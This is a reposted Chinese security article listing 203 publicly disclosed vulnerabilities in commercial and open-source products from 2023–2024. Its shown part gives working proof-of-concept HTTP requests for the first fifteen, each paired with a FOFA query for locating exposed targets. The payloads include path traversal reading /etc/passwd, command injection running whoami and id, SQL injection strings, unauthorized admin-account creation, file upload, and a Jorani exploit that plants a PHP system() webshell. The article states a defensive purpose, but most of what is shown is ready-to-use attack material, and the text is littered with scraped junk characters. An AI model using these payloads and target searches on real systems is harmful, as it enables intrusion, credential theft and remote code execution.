互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
) \7 B' S) P! f/ m9 |. k以下文章来源于网络安全新视界 ，作者网络安全新视界

5 c, b7 k3 h. p发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

- F* W: @* u/ t1 M7 S1 k漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
& X/ S- X  p  I" J- N: O1 n" l
8 S* C. b* Y; `& x4 G9 S5 n安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
* I( @$ i9 _& O# u. ?* Y. n# @
( _2 R" ~) u& O! T5 t文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
: O" w) h1 m' I7 c5 M  ]6 B+ I1 G# ?

7 b' y! d0 E& T" u5 [声明
: z7 n# y8 j+ V( B2 _8 T
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

' T6 F2 c, H7 n有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。



目录

, q9 \. C, K  D( y% G# f/ n01

0 c# H/ |& U2 z1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
. {) _; t# Q9 x2 N4. EasyCVR视频管理平台存在任意用户添加
3 a- u! U$ q! \$ N3 @5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
, }% R1 R6 @4 v( G7. 鸿运主动安全监控云平台任意文件下载
* r' m$ |* r2 b5 N" _7 c8. 斐讯 Phicomm 路由器RCE
' Y; }- j1 G% O7 q2 l; J0 _- Y9. 稻壳CMS keyword 未授权SQL注入
) ^) B3 L6 |+ E- L9 H0 k+ \, D10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
3 g' i2 t! d, e; I: C" L11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
4 B1 @2 |) U' k- I" J12. Jorani < 1.0.2 远程命令执行
4 z& [, K7 M1 @' }; ]13. 红帆iOffice ioFileDown任意文件读取
/ S8 K2 k7 K, P, t5 u14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
# z1 ]' M# J8 O6 `9 u$ v: C% v18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
  }; K% @; W' U. ]6 Q% B" F3 H19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
: f9 o2 E+ s& K2 s1 D/ l  d  h) n0 ~20. 大华ICC智能物联综合管理平台任意文件读取
# d$ p7 N$ \- K6 w9 w21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
  k0 }  s( q0 X- Q: h24. 用友NC 6.5 accept.jsp任意文件上传
9 S% r# }7 [: D25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
+ k! Q! [: Y: M  q( R* r7 s3 e27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
2 r+ q1 C2 H. k) ^29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
) N6 ]" J, {8 c: w; H32. 用友NC complainbilldetail SQL注入
, V5 p; T6 j; o33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
* [2 R/ T, f. e' H( V9 M" a/ [35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
) ^' _3 a- M) a% `: z1 b* D/ w40. 用友U8-Cloud XChangeServlet XXE
' K* A/ d; m. l* S4 N3 S/ C41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
: m  K- ?0 s$ a; F' v) }& T42. 用友GRP-U8 SmartUpload01 文件上传
% k# Z6 A" q" n; e" e7 M6 j43. 用友GRP-U8 userInfoWeb SQL注入致RCE
% `% `# W% B: q  F! v8 e. d44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
! U) K/ A5 J: [) j# |' q47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
% O% F9 G' ?" T/ Q) |' m, Z! j50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
* f9 l' {3 q) W1 U5 d& y0 f$ i52. 泛微E-Office json_common.php sql注入
6 ^, b% l% ^& m) {53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
4 a& r6 H( B3 i" X  b) w( `" c55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
- c9 Q% n! N$ N" n( ?( I6 W- @57. 畅捷通T+ keyEdit.aspx SQL注入
. B+ p8 z8 j+ i4 F58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
3 G0 T) e2 U8 g* W3 P8 B62. IP-guard WebServer 远程命令执行
4 w, c- ?% [# J  Y; j: @9 A& k63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
/ v0 [4 Z8 P5 V! s/ {# p8 I65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
1 x- s4 m& p9 L66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
1 X3 }8 [6 s, Q! Y$ J6 J1 f% U68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
6 H; u6 ~0 j* n1 x$ L, z6 J72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
# J9 |/ D  r( ?! S$ R9 f' _3 J5 ?' }74. 致远M3-server 6_1sp1 反序列化RCE
5 Y9 G! N8 o5 _8 n0 W75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
4 ]3 c! r& r( E' o) V3 b7 H76. 新开普掌上校园服务管理平台service.action远程命令执行
8 F4 {5 I' w, x4 m% L7 f77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
9 Q! m- w' D4 |80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
* X9 V$ y+ X) ?85. SysAid On-premise< 23.3.36远程代码执行
6 \" Y3 ]9 r' ^9 ?! Z: \86. 日本tosei自助洗衣机RCE
. i; s4 P+ u3 Q. o- p87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
5 e' h3 W7 N% ?" l$ J/ L. v' ?8 S7 A/ G89. 致远互联FE协作办公平台editflow_manager存在sql注入
& O" t# N; h/ d  \90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
5 N" ~- h1 S2 I; \. _91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
" s/ g  c, c3 ~8 N& Z; _( @! d96. Apache OFBiz  18.12.11 groovy 远程代码执行
( H+ _0 e. F. Z9 q5 }' ~1 [97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
0 S8 r0 g  ~" y, ?) |100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
. J4 F# B! e0 I* h% S101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
5 S7 [3 C6 [$ ~" J8 Z' c! J103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
1 J9 Q0 g6 `, _' D' q105. SpringBlade v3.2.0 export-user SQL 注入
9 a6 m# D- k0 X7 K9 A  I106. SpringBlade dict-biz/list SQL 注入
  T/ j6 A0 r* k  {, N- b0 C107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
# x$ d" o+ `5 s" q: B110. Goanywhere MFT 未授权创建管理员
( |& w8 i3 U* c% X; s9 m+ B111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
& Y: C; Q6 c1 L$ O' `- k) b% u113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
5 |4 q% W, R% q: ?1 i( D119. 北京百绰智能S20后台sysmanageajax.php sql注入
: ?$ j' u. s" G& Y120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
! j) L. `$ o& T+ R122. 北京百绰智能s200管理平台/importexport.php sql注入
6 |+ m$ F" W2 T9 B123. Atlassian Confluence 模板注入代码执行
0 O2 o: s, ^' F124. 湖南建研工程质量检测系统任意文件上传
1 T. h: \& Y: F! ~' O125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
$ h' ^9 a+ c" w128. Adobe ColdFusion 反序列化
4 z& i2 C, y8 M6 R4 a+ _129. Adobe ColdFusion 任意文件读取
* o6 h! j( f8 f  O130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
% `% z6 q" \# d4 y$ T# j0 g3 ~132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
5 I1 Z: a4 J$ m  n  N134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
2 b( T( S; O4 C$ @9 a- [136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
4 d3 J* p9 V6 O$ L/ a% f; g- O138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
6 L9 g5 }" n8 w* ?! f3 e141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
& X/ E5 F7 c1 x4 b144. D-Link nas_sharing.cgi 命令注入
$ d) @7 V9 }0 G8 q145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
; C) Q* Z+ i2 F1 S" X& f/ C148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
1 p9 @6 Z: c% k4 z, w152. Progress Kemp LoadMaster 远程命令执行
# i3 c9 y5 O7 X; ]) n6 D  q/ g153. gradio任意文件读取
% E9 C. c9 i7 M7 }154. 天维尔消防救援作战调度平台 SQL注入
/ T0 x: a  M# p9 d8 m2 Y155. 六零导航页 file.php 任意文件上传
+ a( ~9 S2 [5 s3 S* d156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
+ m, T2 _- _9 w/ C158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
5 J6 H/ C8 x$ k. `& I$ Y160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
4 q5 }& W, P+ ?4 {163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
% x* l+ o0 x  i1 l2 J1 c164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
% Q; S$ J4 u1 i: }- M, o. `3 u8 {# k165. OrangeHRM 3.3.3 SQL 注入
4 E* O  q$ L1 r% Y3 k166. 中成科信票务管理平台SeatMapHandler SQL注入
2 ]2 d1 o. P! P! T; H7 I167. 精益价值管理系统 DownLoad.aspx任意文件读取
; F* C9 A' ~) V9 I4 |- V& c; @168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
- [: Z; D! Y+ n: z170. 宏景EHR DisplayExcelCustomReport 任意文件读取
; S6 u  c4 t9 I9 F1 b8 T, {171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
& i8 {5 X1 G) `  V, X" J173. Check Point 安全网关任意文件读取
$ Q$ K0 z! h' H- e" T+ Q% o174. 金和OA C6 FileDownLoad.aspx 任意文件读取
  ~; D$ u% p" ]& {! E: j# v175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
  B/ x' }( z1 K+ d9 g" B/ Q176. 电信网关配置管理系统 rewrite.php 文件上传
+ M. o# ^( e' P177. H3C路由器敏感信息泄露
$ K$ M3 G8 t, ^0 j- s) f! k# G% v178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
9 t9 X2 v) H( j- f183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
2 C- H, e, h2 \$ A184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
9 r! F) T! p( B185. 瑞友天翼应用虚拟化系统SQL注入
& E' D+ U3 \; [: C. W( P, c; I186. F-logic DataCube3 SQL注入
/ b6 s9 T8 l  W9 i& Z, ]2 n& \* e! X187. Mura CMS processAsyncObject SQL注入
& s( v: C: X$ ?/ \  L$ Z% O188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
: v5 w9 N  T' v& K190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
' u" q4 M2 f0 L5 {2 y" Q) m193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
+ }+ R9 }# F% F2 X; y. s/ i194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
( F& T( @4 T* g$ p# Y. ]; s195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
! u0 y1 i6 D" x( N' o' a200. SeaCMS海洋影视管理系统dmku SQL注入
- z& i7 \2 q1 X) W+ t" f2 f, X201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
" o) k' [- i$ `) b1 P4 N203. 红海云EHR PtFjk 文件上传

POC列表
' r+ W. g; }5 m1 O  o/ E5 H
5 }2 j+ W4 G) i8 Q  r+ G' D. A" n4 a02
9 e0 {% x' g# l% D" p
1. StarRocks MPP数据库未授权访问
0 Z  f5 ^- R$ ]+ {1 g  A' YFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
5 x4 D/ X6 S8 BHost: URL
! V) i' \# a2 K* B

2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
& A- T( T9 K2 @GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
/ ]( h% M  ^. Z3 p1 qUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 Q5 _' w( U# [( ~. @9 AConnection: close
Accept: */*
4 a, B- L. H$ ~! OAccept-Language: en
Accept-Encoding: gzip


3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
: M1 p$ G' e" {/ n  aGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
( `- h) h$ I  L8 _4 \Host: xx.xx.xx.xx
% X( g  W7 e+ S0 u& g

. g2 t, p! ~+ A4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
. u2 ~, }. z6 g3 T( P
  D. b; Z& M9 h/ _  G1 C6 Q- fpassword更改为自己的密码md5
/ \8 P+ h% T8 sPOST /api/v1/adduser HTTP/1.1
7 [! h8 v, C& f) Q6 E; x" N, xHost: your-ip
  g% c4 F- i: s$ b( BContent-Type: application/x-www-form-urlencoded; charset=UTF-8
; x. n. J- ]9 a1 m4 y3 k1 u7 I
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

5 A- h5 r- T; ?
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
0 C1 B) ?7 s% o/ m+ @- h; ]GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
% d* [: A$ o9 o% ~9 o1 gHost: xx.xx.xx.xx

$ M. Y2 N  y  z0 i3 f! i8 h" g
6. 深信服 NGAF 任意文件读取
6 g' [# g  \: CFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
. ?/ i: h# N% {! WHost:
; Z& J& b- w! i; K! i

1 |: z# {* W! l2 Y7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
) W; G/ }" t4 S, O, t# A/ C( mGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:

" ~: n; g7 ~% Z& a+ ]+ Q
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
* }7 H6 o- i8 U2 ], [POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
* |* w- N, `9 t1 K$ v/ FCookie: sysauth=第一步登录获取的cookie
' O4 L# X- d/ T: sContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
" ?2 k  O9 K9 S9 _User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
- E: H& b$ U* k
# r6 u. |+ ^, m! \%s
' N( m1 K* G# w- v------WebKitFormBoundaryxbgjoytz
9 O# N% {4 @% \( f' LContent-Disposition: form-data; name="wifiRebootrange"
: m0 z" ^7 c0 O$ ^: Z7 m
12:00; id;
------WebKitFormBoundaryxbgjoytz
$ R$ ]1 \7 t+ cContent-Disposition: form-data; name="wifiRebootendrange"

%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"

% {0 Y9 u5 P/ M. P) p: {$ a6 ~) U
# X- h8 j( g; e) W7 _! v/ U------WebKitFormBoundaryxbgjoytz--
6 K8 a4 `. z3 Y! z4 G# c) [( m6 ~7 A

9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
$ Y( A6 }  G; uGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
9 f3 `. U/ O5 k; G. L+ A/ JHost: x.x.x.x

; ]( O' r) O3 u$ O
payload为下列语句的二次Url编码
$ d7 }) }6 @$ \
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
. I, i- H5 H: s
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

* e4 d3 s" d( X1 k; Y文件上传后响应中包含上传文件的路径
7 N; s8 v, \1 ]6 Y( M% ^1 W0 ^; F# PPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
; _5 s6 B$ B% o# [/ c$ M0 I; gHost: x.x.x.x:xx
& V( Y8 D. F7 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
2 ^5 J2 m" l% @2 nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- N; O: C( b, u3 D' H( M6 Q& QAccept-Encoding: gzip, deflate
( Q) [/ B+ v  }1 l' P# E( uAccept-Language: zh-CN,zh;q=0.9
& Y9 G' w$ \, A, n# d" _# J% xConnection: close
$ h/ b$ f: p" @/ ~+ N, r( e0 Z" xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
1 K. G! C0 v2 y0 [0 t/ _% Z9 P
------WebKitFormBoundaryxdgaqmqu
- P* t& y1 J( ?) g' {* xContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
& L9 x2 `& y6 b9 F+ u0 T# a) z------WebKitFormBoundaryxdgaqmqu--


11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
2 R* U* h8 p  ]7 O  o; \  TCache-Control: no-cache
4 t7 ]% G/ V5 K4 \Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+ j9 b% U% k- s, v2 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 d& X0 R. W4 c8 ^* A" [! \: XAccept-Encoding: gzip, deflate
9 J/ ]" M% p* m, o  g+ q' i( KAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
6 m( m. Q5 g8 Q7 ^Connection: close


12. Jorani < 1.0.2 远程命令执行
0 P. X: j& `" h' s5 p& UFOFA：title="Jorani"
2 M  x. H: Q$ f第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
- ?1 B4 Y( K, G9 n9 q3 \- xUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip


& D3 c' H5 `4 f, e. [响应中csrf_cookie_jorani用于后续请求
' {  r/ ^6 ^7 V2 ~. \( ?: J$ P5 D& `HTTP/1.1 200 OK
+ u3 J) A) [; v+ IConnection: close
1 t& O9 }& u0 l$ h  LCache-Control: no-store, no-cache, must-revalidate
& R! H/ ?8 r) {- }& `& w' U+ P) dContent-Type: text/html; charset=UTF-8
' d* O. _4 K+ I% pDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
$ R( A$ m$ D: `3 g( CLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
1 ~( U- i0 j6 @Pragma: no-cache
Server: Apache/2.4.54 (Debian)
2 i0 _) r& Y' t8 Y, f6 FSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
% \2 [, I2 l0 r8 s0 b9 {Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
0 Z0 ^1 H( F' A1 n* c* I; JVary: Accept-Encoding
1 r/ n' T) a* L5 z
: g2 U4 ^  ~' N) |
: U1 e- g3 t  ]- \$ xPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
) t4 P- b1 @5 [" x9 S% e) iConnection: close
Content-Length: 252
; j; V- E2 V- m' |* A( ?" g' rContent-Type: application/x-www-form-urlencoded
9 u/ s2 n& @0 {0 ~$ p3 qCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
8 \% ~3 |1 a, F& h5 D9 BAccept-Encoding: gzip
5 g2 ~8 Q- N( s9 J' [
" b0 n: W2 h+ |. p4 B! m# Ucsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
4 ?% f( C1 l, D4 H  F% o


3 I% {: }0 f! |4 ], R& D, v) O向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
3 W+ i8 P2 B( k9 @+ V! `: mGET /pages/view/log-2023-10-24 HTTP/1.1
' g8 T0 n1 U. z7 ~" |Host: 192.168.190.30
9 F" |0 D6 F) g7 _. n& v6 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! P( I3 x5 l) v4 |# m9 r' U/ k6 [Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
/ M* ?1 t1 w# k$ E; m( i" x. _Accept-Encoding: gzip
2 N8 ]3 n2 Z9 H4 R$ b
+ X; w, |! }- [/ ^/ G
13. 红帆iOffice ioFileDown任意文件读取
: R0 S  i. k$ r3 J* B; l; o6 lFOFA：app="红帆-ioffice"
2 c9 L: {2 R: kGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip


9 }6 V5 w( d( ~7 q- I8 Q14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
5 m# R3 _- q. L, m' T! _8 r' h7 JGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
) W6 I( P7 J. u9 z; _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
; m- M' \9 }! _* J. ^/ Z! IAccept-Language: en
Accept-Encoding: gzip
" U/ `7 V* K0 A( m" R3 u5 H
, |7 l) Q# w& v' C" [- k* i4 h
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
" G# |  Q  w0 y- n( N, x' c8 i& oHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
